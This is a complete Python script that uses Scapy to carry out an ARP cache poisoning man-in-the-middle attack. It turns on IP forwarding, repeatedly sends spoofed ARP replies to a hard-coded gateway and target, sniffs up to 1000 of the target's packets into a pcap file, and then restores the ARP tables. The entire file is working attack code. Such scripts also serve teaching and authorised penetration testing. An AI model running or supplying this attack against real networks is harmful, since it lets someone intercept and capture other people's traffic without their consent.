#!/usr/bin/env python3
# ARP Cache Poisoning Attack using SCAPY
# Version: 0.3
# Author: Omar Santos @santosomar
# This script performs an ARP cache poisoning attack using the SCAPY library.
# It spoofs ARP replies to the target and gateway, causing them to update their ARP tables with the attacker's MAC address.
# The attacker then forwards packets between the target and gateway, allowing for eavesdropping or manipulation.

from scapy.all import *
import os
import signal
import sys
import threading
import time

# Network and interface parameters
gateway_ip = "192.168.78.1"
target_ip = "192.168.78.123"
packet_count = 1000
conf.iface = "en0"
conf.verb = 0

# Get the MAC address of the given IP address.
def get_mac(ip_address):
    """
    Retrieves the MAC address corresponding to the given IP address using ARP.

    :param ip_address: IP address for which to retrieve the MAC address.
    :return: MAC address if found, None otherwise.
    """
    resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
    for s, r in resp:
        return r[ARP].hwsrc
    return None

# Restore the network by reversing the ARP poison attack.
def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
    """
    Restores the network by sending ARP packets to correct the IP-MAC mappings.

    :param gateway_ip: IP address of the gateway.
    :param gateway_mac: MAC address of the gateway.
    :param target_ip: IP address of the target device.
    :param target_mac: MAC address of the target device.
    """
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
    print("[*] Disabling IP forwarding")
    os.system("sysctl -w net.inet.ip.forwarding=0")
    os.kill(os.getpid(), signal.SIGTERM)

# Perform the ARP poisoning attack.
def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
    """
    Performs the ARP poisoning attack by sending crafted ARP packets.

    :param gateway_ip: IP address of the gateway.
    :param gateway_mac: MAC address of the gateway.
    :param target_ip: IP address of the target device.
    :param target_mac: MAC address of the target device.
    """
    print("[*] Started ARP poison attack [CTRL-C to stop]")
    try:
        while True:
            send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
            send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
            time.sleep(2)
    except KeyboardInterrupt:
        print("[*] Stopped ARP poison attack. Restoring network")
        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)

# Main script execution
print("[*] Starting arp_cache_poisoner")
print("[*] Enabling IP forwarding")
os.system("sysctl -w net.inet.ip.forwarding=1")

print(f"[*] Gateway IP address: {gateway_ip}")
print(f"[*] Target IP address: {target_ip}")

gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
    print("[!] Unable to get gateway MAC address. Exiting..")
    sys.exit(0)
else:
    print(f"[*] Gateway MAC address: {gateway_mac}")

target_mac = get_mac(target_ip)
if target_mac is None:
    print("[!] Unable to get target MAC address. Exiting..")
    sys.exit(0)
else:
    print(f"[*] Target MAC address: {target_mac}")

# Start the ARP poison thread
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

# Collect packet captures and save them to a file
try:
    sniff_filter = "ip host " + target_ip
    print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
    packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
    
    # Save captured packets to a .pcap file
    wrpcap(target_ip + "_capture.pcap", packets)
    
    print(f"[*] Stopping network capture..Restoring network")
    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)

# Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network
except KeyboardInterrupt:
    print(f"[*] Stopping network capture..Restoring network")
    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
    sys.exit(0)

